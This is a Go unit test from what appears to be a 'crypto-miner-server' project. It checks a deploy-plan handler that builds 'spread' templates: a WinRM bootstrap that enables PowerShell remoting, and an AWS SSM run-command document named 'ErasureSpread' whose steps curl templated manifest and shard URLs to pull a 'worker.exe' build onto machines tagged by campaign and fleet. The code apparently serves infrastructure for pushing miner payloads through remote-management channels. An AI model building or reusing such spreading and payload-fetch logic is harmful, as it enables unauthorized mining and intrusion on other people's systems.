package api

import (
	"os"
	"path/filepath"
	"strings"
	"testing"

	dbpkg "crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
)

func writeDeploySpreadTemplates(t *testing.T, root string) {
	t.Helper()
	winrmDir := filepath.Join(root, "templates", "spread", "winrm")
	if err := os.MkdirAll(winrmDir, 0o755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil {
		t.Fatal(err)
	}
	ssmDir := filepath.Join(root, "templates", "spread", "ssm")
	_ = os.MkdirAll(ssmDir, 0o755)
	_ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
	_ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
	_ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
}

func TestDeployPlanSSMDocumentLane(t *testing.T) {
	root := t.TempDir()
	writeDeploySpreadTemplates(t, root)
	h := testDeployPlanHandlerWithRoot(t, root)
	plan, err := h.buildPlan(deployPlanRequest{
		Platform: "linux", BuildID: "b1", Campaign: "ssm-lab",
	}, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"})
	if err != nil {
		t.Fatal(err)
	}
	if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" {
		t.Fatalf("plan=%+v", plan)
	}
	if !strings.Contains(plan.SSMDocument, "schemaVersion") {
		t.Fatalf("doc=%s", plan.SSMDocument)
	}
}

func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler {
	t.Helper()
	dir := t.TempDir()
	database, err := dbpkg.New(dir)
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })
	buildDir := filepath.Join(dir, "builds", "b1")
	_ = os.MkdirAll(buildDir, 0o755)
	artifact := filepath.Join(buildDir, "worker.exe")
	_ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644)
	_ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact})
	return NewDeployPlanHandler(database, dir, projectRoot,
		func() string { return "http://127.0.0.1:8989" },
		func() string { return "fleet-test" },
		func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
	)
}